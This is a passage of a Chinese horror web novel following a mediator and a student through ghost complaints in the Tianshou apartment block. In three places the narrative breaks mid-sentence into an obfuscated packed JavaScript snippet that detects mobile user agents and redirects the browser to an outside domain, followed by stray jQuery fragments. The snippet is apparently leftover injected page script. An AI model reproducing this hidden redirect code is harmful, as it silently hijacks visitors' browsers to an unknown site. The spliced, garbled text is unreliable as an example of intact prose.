“因为我是被新聘用的调解员,”林黎眼睛眨得飞快,“我没跟你说过吗?” 喂,这么重要的事也能忘记吗? “没有,”陆扬深吸口气,“接下来怎么办?” “去4435。” “不行,那里明显有鬼啊!”陆扬急忙说。 林黎看了他一眼,思忖问,“你对房租有什么想法?知道房租是什么了吗?” 他愣了下,“不是钱吗?” “现在谁会随身带现金?”林黎说,“万一来的是个穷光蛋付不起呢?这岂不是变成必死局了?” 陆扬:好扎心,他就是那个付不起的穷光蛋。 “而且房东也没提到具体金额,很明显,这条通关线索是要让我们自己去调查。现在去4435正好能找个人问问。” 你确定在4435问到的是人,而不是鬼吗? 但林黎分析得很有道理,陆扬暂时想不出其他,只能咽了咽口水跟上。 几分钟后,他们来到三楼,4435房门前。 林黎扫了眼眼前的房门,油漆已经掉色剥落,门的上面是两扇小窗户,此时黑漆漆的,像一对空洞的大眼睛盯着来访者。 她刚要抬手敲,房门就发出咔一声,向里面打开了一条漆黑的门缝。 陆扬感觉自己脖子后的汗毛都竖起来了,忍不住压着嗓子问,“我们真的要进去吗?” “说得什么傻话,”林黎推开门,走进一片漆黑的房子,“来都来了,当然要为群众解决问题。” 你这个群众对象的涵盖面积是不是大了点? 陆扬哭丧着脸紧跟在她后面,紧接着就被刺耳的金属刮擦声吓得心脏漏跳。 林黎回想刚才电话里的女声描述,它说家里夜半一直有噪音,打扰自己睡觉。难道噪音指的是这个? 林黎循着声音朝房间深处走去,推开玻璃门,一间逼仄的卫生间在后面露出来,大概只够容纳两人站立。 她顿了下,抬脚跨进卫生间,但当陆扬要跟着进来时,玻璃门砰地一声合上了,将两人分隔在不同房间。 林黎回头看了眼紧闭的门,不用尝试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997420|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道,现在肯定打不开。 就在这时,刺耳的刮擦声再次响起,对方似乎是在用尖锐的指甲不断刮水管壁,声音在狭小的空间里激起幽幽的回声。 漆黑中只能看清墙壁三面贴着小方块瓷砖,马桶、水池并排贴墙,洗手池上面挂着个淋浴的喷头。 林黎打量的目光落到贴着墙角的下水管道,声音就是从这里面传出来的。 那么只要解决掉水管里的东西就好了吗?但她总觉得心里有种说不上来的违和感。自己是不是忘掉了什么细节? App没有提到调解失败的结果,但想也知道肯定不会太美妙。林黎深吸口气,走到管子前站定。 里面的东西就像是在催促一样,声音越来越响,仿佛下秒就要从里面冲出来。 突然,有什么在林黎的脑海里闪过。 原来是这样。 她恍然大悟,目光从管道上转开,扫视一圈落到马桶后面的水箱上。林黎没有犹豫地掀开,只见一个蓬头垢面的女人脑袋正窝在里面,起起伏伏漂动着。 四目相对,林黎犹豫了。不是因为害怕,而是因为马桶水箱太小了,伸手进去肯定会碰到箱壁。 她看了眼黑黢黢带着不知名绿色粘液的水箱咽了咽口水,思虑再三还是没能鼓起勇气。 女人头以为对方是被吓住了,浸没在水下的嘴角阴毒地勾起,发出咕嘟咕嘟的水声。水藻一样的黑色长发悄声从水下伸出来,接着闪电似的直刺林黎。 出乎意料的,对方竟然灵敏地躲了过去,并摘下淋浴喷头飞快旋转,黑长发像毛线圈一样缠在上面,再用力一拉,脑袋被从水箱里提溜了出来 女人头瞪大了眼睛,不敢置信,这真的是人吗?人类的力气现在都这么大了? 林黎用空着的手抹掉额头虚汗,松了口气。 好险,差一点头发上的脏水就溅到衣服上了。 林黎看了眼还在半空来回晃荡试图挣脱的人头。刚才水管里的呼吸声提醒了她,电话里的女人呼吸音明显是处在一个很小且密闭的地方。 既然打电话求助的是管道里的居民,并且对方肯定不会自己举报自己。那么发出声响的肯定是其他东西,而且跟水管有关。 厕所不大,一眼就能看过来。要说发出声响,有什么比一到半夜就不断下水的马桶更吵?现在林黎确认了,确实是水箱里的人头在漂浮时压到开关发出的。 不过该怎么安置它呢? 她看向安静下来的水管,思考两秒,接着抬手比划了下。 咔嚓。 女人头看着徒手卸下半截金属管道的林黎沉默了。 “我想了想,以防之后还有什么需要沟通,就安排你们住在一起了,”林黎对着挤在管道里变形的女尸说,“好姐妹,有什么当面聊。” 神tm当面聊。 女人头咔滋咔滋磨起牙,但再不情愿也阻止不了自己被硬生生塞进管道。林黎甚至还贴心地给它们把管子安了回去。 嗡。 她满意地看了眼接得严丝合缝的水管,掏出手机。 【您已帮4435解决了夜半噪音问题】 奖励节点任务拼图:200 【恭喜您,拼图数额已达到商城解锁要求,正在帮您解锁……】 然后林黎就看着还没捂热的348被扣掉300后骤降为可怜的48。 商城开启竟然是要花掉拼图的……也就是说她辛苦半宿就开了个商城? 林黎顺手打开商城翻了翻,最便宜的也要从300起。她深吸口气,就要关掉手机眼不见为净,这时上面跳出一条提示 【已为您开启包裹储存功能】 林黎顺手按开,页面上密密麻麻地布满了灰色格子,只有开头那格是白色可使用状态,后面的明显是需要解锁。她扫了眼果然看到了拼图的符号,旁边标记着数额30。 看来解锁一格需要花费30,就她目前的余额,也就够开一格。 林黎暗骂app抠门,插回手机,转身开门出去。外面空荡荡的,年轻男生已经不知去向,不知道还活着没。 她路过餐桌时发现上面放着张报纸,其中一个大标题被人用红水笔圈了出来。 【入室抢劫,两名合租女孩下落不明,警方推测可能已遇害】 根据记者调查发现,两名女生家境贫穷,均是高中辍学后来本地打工的女工。她们的房东告诉记者,两人已经拖欠房租达一月有余…… 林黎捏起报纸,发现里面还卷了什么瘦长圆柱形的东西,打开一看,发现是两支白色的蜡烛。 在这个年代,已经很少有人会在家里备蜡烛了,除非是用于祭祀。 这东西出现在这里不可能是偶然,只是眼下线索太少,还无法推测出它的真实用途。林黎想了想打开app翻到包裹栏,念头一动,手上的蜡烛不见了,包裹栏里则多了蜡烛的图标。 她尝试把报纸也放进去,但失败了。看来同一格只能存入同类物品。 正想着,又是一通电话打入,林黎抢在被拦截前接通。 接下来的投诉大同小异,鬼犬夜吠,林黎用铁丝现场拗了个嘴套;熊孩子在走廊墙壁上乱涂乱画,被她废物利用,直接塞给了上一户独居已死想找个伴的老头…… 这么一轮下来,终于攒到了小一千拼图,而且正如她猜测的那样,每解决一户,都能搜到数额不等的白蜡烛。 而且这些鬼都有个共同点,拖欠房租。 林黎一边想着,一边接通打来的电话。 这次里面是个中年男人的声音,呼吸声很重,影响得话语声音都有些听不清了。 “5楼,一到半夜就有小屁孩拍球,”中年男人冷冰冰地说完,不等回复就咔哒一声挂断了。 嗯?那个年轻男生刚开始似乎也提到过拍球的小男孩鬼来着? 几分钟后,林黎爬上5楼。 她这才发现先前的住户都是在1-4楼,如果说楼下还算有人的烟火气,那么5楼完全像是另一个地方。 一踏上5楼平台,夏夜的炎热就被股寒意压了下去,但这种冷气并不会令人感到舒服,感觉像是有只冰冷滑腻的手慢慢从脊椎下面摸上来,一直滑动到后脖颈并紧紧掐住。 林黎感觉到这层被某种力量笼罩着,如有实质的静谧气氛带来了十足的压迫感,让她也不自觉地戒备起来。 老旧的冷色廊灯时不时闪烁几下。 林黎转过楼梯墙角,只见三张惨白的面孔突然在忽闪的黑暗中掠过。 7. 天寿小区 林黎眯眼打量,没想到失踪的陆扬竟然也在5楼,而且楼里竟然还有别的活人。 另外两人一个穿着繁复洛丽塔裙装的美少女,另一个则是西装皱巴巴的中年上班族。 林黎没什么反应,对面倒是吓得跳脚。 陆扬倒抽了口气,幸好及时捂紧了嘴才没叫出声来。 不过旁边的中年上班族就没这么好运了。 啪嗒,陶瓷砸击楼道的清脆音响起,不算响的声音在静谧楼中格外地刺耳。 惨白的面孔瞬间变得惊恐起来。 中年男人猛咽了口口水,望向自己脚边还在微微转动的东西,那赫然是个装满生米的陶瓷碗。 此时米已经撒了一地,上面插着的三株香也随之倾倒。 洛丽塔少女神色冷静,举止沉着,并没有因为同伴出错而惊慌,反而是看见林黎在碗边蹲下来时,长眉饶有兴趣地挑了挑。 林黎的目光扫过满地的米,一些米粒上已经出现了星星点点的霉斑,但看米的质地,很新鲜,应该才放不久。 忽然,打量的目光被白色中的一抹黄吸引。米中竟然还夹着张对折的符纸,一寸黑白照从里面露出来,小孩黑黢黢的眼珠正死死地盯着他们。 陆扬猛拽林黎衣角,眼神惊恐地示意,那就是拍皮球的小孩鬼! 就在这时,空气中响起沙沙的摩擦音,像是某种沉重的物体在地面拖行发出的。 声音从尽头楼梯口传来,有什么东西正在上到五楼。 光秃秃的走廊上,四人身影一览无余。 刷。 洛丽塔少女手上突然多了把蕾丝小花伞,一人撑的那种,伞的遮盖面积很小。 陆扬眼睛刷地一亮,冲林黎无声地动了动嘴唇。 道具!是大佬! 她笔直地竖起伞,靠到走廊一边,示意三人抱成团挤一挤,接着比了个屏息静声的手势。 静声能理解,但为什么要屏息? 林黎一边尽可能紧地抱住少女,一边艰难地扭过头,望向摩擦声越来越近的方向。 叮铃。 随着金属撞击的声音响起,迎面吹来的夜风中腐臭味陡然变得浓郁起来,一个高大漆黑的影子慢慢在走廊上延长,接着石膏一样惨白僵硬的皮肤从楼梯墙角露出来。 那个“人”套着个怪异的面具,用一串串古钱币串联而成,头发被剃光了,头皮在幽冷昏暗的顶光下泛着霜一样的白色。 垂下的钱币链子之间,一双全黑的眼睛显得异常渗人。它的身高接近两米有余,走动的速度极其缓慢,几乎是拖着脚在移动,同时下巴微微抬起,就像某种猛兽一样嗅着空气中残留的气味。 林黎明白过来为什么洛丽塔少女特意嘱咐要屏息了,来者大概率是个僵尸,看样子它的嗅觉格外灵敏。 僵尸怪物似乎不明白刚才闻到的猎物去哪了,它一边嗅,一边慢慢靠近几人藏身的地方。 突然,脚步声蓦地一停。 林黎感觉到一阵明显的颤抖,是左手边的中年上班族。他的位置最靠近僵尸,此时只距离对方半臂远,脊背几乎已经能感受到怪物身上传来的那股混合着铁锈和腐臭的阴冷气息了。 洛丽塔少女朝他比了个冷静的手势。有隐身道具遮掩,僵尸根本看不见他们。 怪物果然没有发起攻击,只是身子前倾,伸着头慢慢闻着什么,接着全黑的眼睛望向满地的白米。它猛地四肢着地,直接趴在地上贪婪地舔舐起来。 钱币敲击在走道上的叮当声不绝于耳。 这只僵尸的柔韧度还蛮好的嘛。 林黎打量它的同时,另外几人也在悄悄观察。中年上班族挨得最近,僵尸几乎就趴在他脚边,所以也看得最清楚。 在它的后脑勺上有块古钱币格外醒目,它比其他的尺寸略大,还微微地发着幽绿色的光。 是道具! 一股欣喜若狂的燥热从中年上班族的心底升起。道具等级与伴生的诡域和诡怪息息相关,诡域等级越高,诡怪越强,道具就越强大。 这只僵尸一看就不弱,而且他能感觉到洛丽塔少女一直紧绷的身体,可见怪物的实力估计要远远比他们想的强得多。 这个道具的等级不会低! 一旦有了高级道具,他就再也不用按部就班地上班,再也不用为了几块钱忍受年轻上司的羞辱,再也不用被家人责备窝囊没用。 只要有了这个高级道具,他的人生将会截然不同。 此时中年上班族已经全然忘记了怪物刚才带来的压迫感。他的双眼看得发直,心脏在胸膛里怦怦跳得飞快。 僵尸现在就趴在脚边,浑然不觉地吃着白米,钱币道具可以说唾手可得。只要他稍微伸长一点手,一点就行,高级道具就是自己的了! 另三人因为角度问题和上班族的刻意遮挡,还没发现道具。 林黎此时感觉有些不对劲,但不是因为怪,而是洛丽塔少女。先前光看还没觉得,眼下抱着莫名感觉这人的骨架有点大? 说起来少女的个子确实比一般女性要高很多。 林黎疑惑地抬起头,目光瞥向对方系着颈带的喉咙,下颌的阴影中,一块喉骨突得特别明显。 林黎:…… 洛丽塔少女,不,应该说少男觉察到她的视线,立马明白自己大概暴露了,涂着淡粉眼影的双眼无辜地眨巴了下。 这时,一股强烈的阴冷气息骤然爆发。 洛丽塔美少男面色一变,侧头望去,正好看见中年男人手里抓着那枚道具钱币。 “放手!” 这时候也顾不上隐蔽了,他赶紧压低声音严厉喝止。 诡域里有些道具能拿,有些则绝对不能,比如眼前这块古钱币。它是连结所有钱币的核心,一旦取下,用来封印怪物的面罩就会散掉。 没了束缚,怪的实力将提升到可怕的程度,到时候连他想自保都难,其他人更不用说,这个诡域将会成为所有人的葬身之地。 但已经鬼迷心窍的中年上班族怎么会听,牢牢抓住钱币的手仿佛是抓住了自己最美好的命运,轻轻一用力。 啪。 失去连接的钱币面罩从僵尸脸上散落,叮叮当当的声响仿佛催命的鸣音。 “蠢货。”美少男磨着后槽牙低声骂道。 没了面罩遮挡,僵尸的面孔完全露了出来。刷了石灰般的皮肤上竟然布满了密密麻麻的青黑色字符。 这些字符没法辨识,但看久了会产生眩晕,耳边不自觉产生嗡嗡的响声,听起来像是某种来自虚空的呢喃。 “别看,快跑!”美少男果断收起花伞。 解封后的僵尸移动速度奇快,力大无穷,气息压迫感估计已经直逼B-级 他手上这把C级隐藏道具的效用大打折扣,既然已经躲不了,待在这里也只会死更快,不如所有人分头跑,接下来各自听天由命。 美少男一边喊着,同时手里出现一枚洁白的珍珠,用力一捏,将粉末朝扑来的僵尸迎面撒去。 【C+级道具:海妖的馈赠】 海妖眼泪凝结而成的珍珠,具有与它歌声同样的魅惑力,时效视作用对象而定。 他的心在滴血,C+级控制道具啊,可不是每次下副本都能碰到的。 但这头僵尸怪实力显然要比他预计的还要棘手,珍珠粉只减缓了一会它的移动速度。眼下江城能对付得了它的大概只有那个冷面阎罗了。 陆扬慌不择路地跑了几步才发现自己跟错了人,林黎和洛丽塔少女不见踪影,身边只有那个中年上班族。 更倒霉催的是,听呜呜的风声,僵尸怪好像追着他们来了。 此时陆扬和中年上班族已经快跑到楼梯口了,还差几步就能进楼道,到时候上下分头,僵尸不一定会追他。 然而僵尸怪的挪动速度超出常人太多,轻轻一跃就能拉近一大段距离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997421|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看乌黑的利爪就要扎进中年上班族的脑袋,他虽然看不见,但能感觉到后脑勺上那股逼人的阴气越来越近。 他的身体素质没有小年轻好,此时拼尽全力已经跑得气喘如牛,但还是落后陆扬一臂距离。 如果死在这里,那么之前为了拿道具做的所有努力就都白费了,放弃稳定通关的安全,冒了生命危险,甚至得罪了看上去来历不凡的洛丽塔少女…… 中年男人已经赌上了自己的所有,此时失败的沉没成本将无法接受。赌性和贪婪消磨掉了他最后的人性。 陆扬一心望着楼梯,仿佛那就是逃出生天的出口,当脑袋被一块坚硬的金属狠狠砸中时,根本没有任何应对手段。 他绊倒在地,惯性作用下翻了几个滚,眼睁睁看着紧随其后的中年男人轻松地越过自己,溜下了通往4楼的楼梯。 被高大阴森的阴影笼罩时,陆扬的脑子一片空白。闻着僵尸嘴里散发的腥臭,他想,自己是要死了吗?死在踏出学校的第一步,人生都还没开启就要匆匆完结,甚至还是这么残酷的死法。 就在僵尸张嘴落牙的时候,只见一个轻巧的身影毫无预兆地从后面窜上来,然后朝着它的脑袋猛地一脚。 雷鸣般的咆哮响起,毫无防备的僵尸被踹到一边,恰好落到楼梯上,咕咚咕咚地往下滚去。 陆扬望着滚没影的僵尸愣了下。 “跑什么,继续发呆啊!” 男生如梦初醒,赶紧连滚带爬地起身跟在林黎身后,热泪盈眶。 “姐姐,今后你就是我的再生父母!” “闭嘴,我没有那么老。” 这时在四楼和五楼的楼梯转接口正好响起中年男人尖锐的求救声,几下后就弱了下去,接下来是毛骨悚然的啃噬。 “他竟然没跑远?” “因为他要等你被吃完后回来捡这个,走远了怕被捡漏。” 比如她,本关最佳捡漏王。 林黎一边跑,一边抬起手,两指间捏着的赫然是那枚被当作凶器投掷出来的古钱币道具。 陆扬明白过来刚才砸中自己的金属就是这枚钱币,听了林黎解释,霎时觉得像吞了块冰一样遍体生寒。 中年上班族的人性之恶带给他的惊悚感跟僵尸不遑多让。 陆扬望着毫不犹豫地跑过路口的林黎,赶忙压低声音问,“我们要去哪?” 这种时候不该先回自己房间吗,毕竟那里应该最安全。 “你的房间是4440,对吧?” 陆扬飞快点点头,露出疑惑的表情。 林黎记得他说过拍球声是从他楼上房间传出来的,“去4450”。 米碗里的照片给她一种感觉,这个拍球小孩会是个关键线索。 这栋楼的结构是回字型,所以跑过楼道口继续往前,他们又回到了原先碰翻米的地方。 在刚刚踹僵尸的时候,林黎能感觉到对方比郑姐老板之流难对付得多。有某种力量在保护它,估计也是那种力量给了它超出这个诡域等级的实力。 是那些奇怪的青黑色符文…… 林黎眯眼思忖,直觉这不是什么好东西。 他们在4450门口停下,眼前房门紧闭,木质门板上的红漆已经剥落。僵尸和美少男不知道去了哪里,此时走廊上恢复了原先那种吓人的死寂。 林黎尝试推了推,没推动,意料之中地锁着。 昏暗的廊灯时不时忽闪一下,陆扬收回目光咽了咽口水,生怕什么时候僵尸的面孔会突然闪现。 “你看门锁着,我们还是……”回去吧。 话没说完,只听见门锁发出很轻的咔哒一声。 陆扬:…… 林黎熟练地把黑发卡从门锁里抽出来,触到男生震惊的视线,自然地扬起职业假笑道,“多一门技能,多一个出路嘛。” 不是,这算哪门子技能,学会了能干什么啊?合法吗? 8. 天寿小区 门吱嘎一声,朝里面旋开,满鼻子的霉味和灰尘迎面扑来。这已经不是有没有人在家,而是有没有人住的问题了。 房间里黑洞洞的,只能勉强看清一些家具起伏的轮廓,未知带来的恐惧让陆扬强烈抗拒进入。 但眼看林黎的背影已经快消失在黑暗中,他也不敢独自留在走廊上,咬咬牙紧跟了上去。 “我们来干什么?”陆扬哆嗦地跟在后面用气音问道。 “当然是解决这家孩子拍球影响楼下邻居休息的事啊,”林黎用自然而困惑地口气回答,好像他提出了一个很奇怪的问题。 哦,原来是这样,紧接着反应过来的陆扬就想锤自己一脑袋。 楼下邻居不就是自己,而小男孩已确认是阿飘,还解决个锤子啊,怎么解决? 一进入室内,霉味变得更加重了,几乎让人喘不过气来。林黎掏出手机打开灯,穿过狭窄的玄关,目光在不大的客厅里扫视。 墙上布满了深褐色的水渍,地板和墙纸在厚重的灰尘遮盖下看不出原本的颜色。但家具摆设除了陈旧了一点,全都被打理得井井有条。 一人高的冰箱上有盆已经枯萎了的植物,置物柜上的书籍按照尺寸大小码得整整齐齐,大小不一的相片框组合摆在电视柜上。 想象这个屋子还有人居住时的场景应该充满了生活气息,像这样的家里大概率是有一位温和且懂得生活的女性。 然而当手电筒的光落到相片上时,陆扬顿时倒抽了口气。一家三口的全家福上,中间坐着笑得眉眼弯弯的小男孩,打扮得体的女主人和威严的男主人分坐两边。 然而男主人脸上的两个黑洞却给原本应该挺温馨的家庭照蒙上了层诡异的阴影。 他的眼睛被什么东西烫掉了,边缘还能看到烧焦的痕迹,只要相片上有他的影像都是如此。合理猜测动手的很可能是这家的女主人。 “她是不是精神出了问题?”陆扬震惊地问。 林黎半蹲下来,仔细打量了会,“不如问问这个男人做了什么。” 热爱生活的妻子突然变得精神极端,不是林黎有偏见,一般起因是丈夫的概率很高。 林黎扫了眼一边的书架,书脊上也有被严重涂抹的痕迹,几乎已经无法看出原本的书名。 她小心翼翼地抽出一本,封面上竟然布满了划痕,像是有人拿着笔很用力涂抹留下的。最深的几道划痕穿透了封面纸页,将书封划得稀烂。 这个家庭表面看上去还是原本的模样,然而事实上内里已经随着女主人精神的异常而腐烂了。 “千面……之……月。” 陆扬的呢喃声传来,但声音就像被嗓子锁住又拼命发出的一样,异常地沙哑。 林黎扭过头,只见年轻男生呆呆地望着翻开的书页上,双目充血,乌黑的瞳孔像浸在血池中的玻璃球,两道血泪如小溪一样从眼角淌下。 林黎几步上前打掉他手上的书,陆扬顿时仿佛脱离了某种无形的锁喉一样,跌坐在地上大口大口喘气。 这时从发布任务后就一直安静如鸡的手机疯狂震动起来。 林黎抽出一看,上面接连弹出了好几条信息 【恭喜您发现了口口口的投影】 【恭喜您遇见了口口口的信徒之一】 【口口口】 千面之月是口口口的名字之一,口口口偏爱在梦境中行走,谎言和伪装是口口口的最爱。 【温馨提示】 口口口可爱而淘气,但请小心,有时候这位也会过分热情,一旦发现您的位置,也许就会蜂拥而至…… 这几条“口”字含量超标的信息给林黎一种不好的预感,这个什么千面之月绝对不可能是app所说的可爱淘气那么无害。 最好的佐证就是陆扬,仅仅看了它的名字就差点瞎掉。 等等,第一条信息说的什么来着,恭喜她发现了千面之月的投影? 这个千面之月的投影就在这里! 林黎浑身紧绷起来,眼睛扫向四周,然而房间里静悄悄的,看起来没什么异常。 不对,好像少了什么…… 林黎巡视的目光掠过冰箱时,发现那里只剩下一个陶瓷盆。 里面干枯的植物去了哪里? 很轻的破空声从背后传来,林黎应声半蹲躲过了袭击,定睛望去,顿时瞳孔紧缩。 只见黑暗中,那株干枯的植物正飞在半空中,下面枯瘪的根像干瘦的爪子一样牢牢抓着一个球状物。 咔咔咔…… 球发出了人类的声音,“救……救救我。” 林黎眯眼细看,根据轮廓艰难地辨认出,这个半腐烂的东西竟然是那个男主人的脑袋。 看来女主人最后还是把他杀了。 枯植控制着脑袋再次朝林黎俯冲过来,同时更多的根须如触手般扬起。 这次靠得更近,林黎发现根不是抓住脑袋,而是从脑壳里长出来的。 脑袋被活生生地破壳,痛苦可想而知。 所以这个男人究竟做了什么,让女主人这么恨他?感情不合?出轨?赌博? 眼下林黎没有功夫八卦这个不幸家庭背后的故事,因为一不小心她就有可能加入这个家庭……的盆栽。 林黎靠着敏捷的身手再次躲过袭击,然而落地时余光一瞄,身边落满灰的全身镜中,一个穿着白色长裙的人正静静站在自己身后。 “你看见我的儿子了吗?”声音幽幽,伴随着扬起的灰尘,吹到了林黎耳边。 woc 林黎屏住呼吸,就着地板一滚,抬头望去,在她原先待的位置,一把闪着寒光的斧头正直挺挺地插在地板上。 换成脑袋的话,大概现在已经变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997422|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两半了…… tm,难怪要时薪一万,这里面还包了她的买命钱吧? 这时侧面又有破空的呜呜声传来。林黎刚要再故技重施一滚,却看见白衣女人抢先堵住了路,缓缓提起的斧子闪过寒光。 风声已经近到耳边,就在这时植物脑袋突然被一根侧面挥来的棍子击飞了出去,砸在墙上时正好被一根装饰品的刺扎穿。 丈夫脑袋发出刺耳的尖叫,接着挂在刺伤没了声息。 林黎有些惊讶地望着瑟瑟发抖的男生,“原来你还没逃走吗?” “我,我怎么能丢下女生自己逃走啊?”陆扬擦掉面颊上的血液,双手紧握不知道哪里翻出来的棒球棍。 “所以如果我是男生你就跑了吗?” “姐,现在开玩笑合适吗?” 林黎勾起嘴角,难得不是机械的假笑。 那头白裙女人举起斧头,慢慢转向他们俩。 “你看见我的儿子了吗?” “她是鬼吗?”陆扬颤声问。 只见女人脸上,原本长眼球的部分被许多流着脓液的黑色触手替代。触须仿佛虫类的触角一样在空气中不断舞动,但这似乎并不影响她的视觉。 “不,应该还活着。”林黎刚才跟她贴面的时候感觉到了轻微的呼吸声,她看了眼对面的鬼样子又补充道,“暂时。” app提示千面之月的投影和信徒都在这里,很明显,这个女人至少占其中之一。 除了被划破的禁书,精神错疯癫,身体异化外,白裙女人似乎还被邪神赋予了一些特殊的能力。 比如超出常人的力气,可以轻松挥动沉重的斧头,比如有时能够像鬼魂一样瞬移。 一眨眼,白色的身影消失,紧接着下一秒,巨大的斧头贴着他们的后背砍下。林黎推开还没反应过来的陆扬,自己朝另一边躲避。 斧头砸在地板上时,木碎片四溅。 这么躲不是办法…… 念头闪过,林黎的手上一沉。她低下头,跟沉默的棋盘面面相觑。 虽然主动态度可嘉,但你一个棋盘有什么用,叫对面来玩一把吗? 吐槽还没结束,另一边斧头已经迎面砍下。 林黎躲闪不及,顺手举起棋盘挡斧。 铿。 斧头落势减缓,林黎眼疾手快地抽掉棋盘,敏捷地旋开身。 她打量了下盘面,不但没碎,甚至连一丝痕迹都没留下。 挺抗打的,但它的主要能力肯定不是被粗暴地当成盾牌用。 现在已知可以通过棋盘连接到棋子,那么除此之外呢?狗app确实提过棋盘的作用不止于此。 手里的棋盘突然变沉了一点,林黎猝不及防差点没拿住,同时盘面发出微微的红光。 下秒她反应过来,不对,不是变沉,而是下坠,它在提示她。 9. 天寿小区 林黎若有所思地看了眼脚下的地板,目光回到棋盘上。无数想法飞快掠过,握盘的手微微松开,棋盘顺势落到地上。 没有砸击的声响传来,发光的棋盘像落进水里一样直接没入了地板,半秒停顿,红光乍然照亮了整个房间。 “这,这是……”陆扬愣愣地望着脚底的地板被一个巨大的棋盘覆盖。 他发现自己站的格子是白色的,而女人脚下的则是墨红色。 林黎望着大棋盘,露出果然如此的神色。 棋盘,当然是用来下棋的。 地板上的棋盘图案没有吸引女人的注意很久,她再次抬起斧头砍来,这次速度更快,力气更大,斧头的刃下发出空气被劈开的尖啸声。 林黎目色一凛,灵活转开身的同时用意念猛戳虚空中的提示。 【目前可用棋子1/1】 是否使用? 是是是是! 斧头砍入地面的同时,女人背后,黑暗如雾气般搅动红光,黑红的漩涡中,一道黑影嗖地直扑出来。 眼看就要扑倒女人,墙上很久没声响的人头突然抖动了下,脱开尖刺束缚挡在黑影跟前。 “啊!”陆扬惊叫了一声,拼命往房间边缘退去。 只见一头狰狞的巨狼,满是尖牙的嘴里咬着那个死人头,轻轻用力。 咔嚓,头骨四分五裂,枯萎的植物则发出生物一样的尖叫,化成了浓浓的黑水被巨狼吸收。 在林黎视野中还能看见巨狼脑袋上浮现了个棋子形的进度条,旁边标记着一级。 看来走满进度条应该就能升到二级,简直像个暗黑版养成游戏一样。 巨狼正是林黎之前附身过的那匹,现场面基后她才发现,它要比自己想象中的大得多,人类在它的爪子下几乎就像只洋娃娃。 狼头上排列着类似蜘蛛的三对眼睛,覆盖着不断变换着的鳞片。 女人即使有邪神的力量加持,但仍然没有脱离人类的范畴。斧头被狼爪轻松拍掉,她害怕地往后瑟缩。 “原来你也是异能者大佬!”陆扬摸过来震惊道。 他又想到这位姐姐一脚踢翻僵尸的怪力,如果说是异能者好像也不是很出乎意料? 就是这个召唤物的长相,略有些让人掉san 巨狼仿佛一下子就看穿了陆扬的想法,猛地扭过头张开嘴,露出的尖牙最短的也有他脑袋高。 陆扬倒吸口气,哆哆嗦嗦地躲到林黎身后。 林黎不知道这个奇怪app给的算不算是异能,毕竟其他异能者好像都不需要一个系统辅助, 在恐惧的刺激下,女人好像恢复了一点理智,但不多。 “我在找我的儿子,五六岁,这么高,”她语无伦次地说,“你们看见他了吗?” 她的声音和神色中除了担忧还有浓浓的惊慌,如果不是装出来的,这应该是个很爱孩子的母亲,自然也不可能动手杀自己儿子。 反而更有可能是孩子的意外身亡加剧了她的精神病症,甚至失智到去祈求邪神的力量,才导致了之后一系列的悲剧。 小男孩原本就是调解的关键,那么找到她儿子的死因也许就是破局关键。 林黎垂眼思忖,有了主意后,抬手握拳,拇指一指。 “看见了,在他房间。” 陆扬:? 被触须眼睛盯上的陆扬心脏瞬间跳到了嗓子口。 出乎意料的,女人并没有陷入疯狂,而是站在原地轻声抽泣起来。 “他又跑出去了,他又跑出去了……我说了几遍都不听……他为什么不听话?他为什么不听话?” 林黎见对方还能勉强沟通,想了想继续道,“女士,您儿子晚上拍球严重影响到了这位先生的休息,所以他才找我上来跟你沟通一下。” 陆扬:他不是,他没有。 他下意识左右瞅瞅,一边,高大狰狞的怪狼还威胁地露着牙,一边,异化女人脚下大斧头寒光闪烁。 沟通得不错,下次别沟通了。 “不行!不能在晚上拍球!晚上不能发出声音!”女人的面色陡然惊恐起来,声音却反而刻意地压低,变得沙哑,“因为这里有鬼。” 喂,你自己也比鬼好不了多少吧? 林黎脑海里闪过僵尸的身影,眼睛盯着女人,嘴上轻轻说,“我们刚才确实看到一个男人往楼下去了,脸上还带着奇怪的面罩……” 话没说完,女人脸上的表情越来越惊恐,眼窝里的触手往外越挤越多。 噗嗤,前额骨头被汹涌的触手挤碎,女人此时看起来像个怪异的触手盆栽。 “我想起来了,”她安静了会,轻声说,“我的儿子已经死了。” 女人的声音越来越响,说到死字几乎已经是变音的尖唳。 “那是!”陆扬悚然地指着地板叫道。 被斧头砸出数个窟窿的地板发出轰隆声,陷下一个大洞。 难怪他们走进来的时候踩在木板上的声响会格外明显,原先以为是老化出现了缝隙,没想到客厅的地板和地面之间竟然还有一个夹层! 一股浓郁到让人窒息的腐臭味充斥了整个房间。 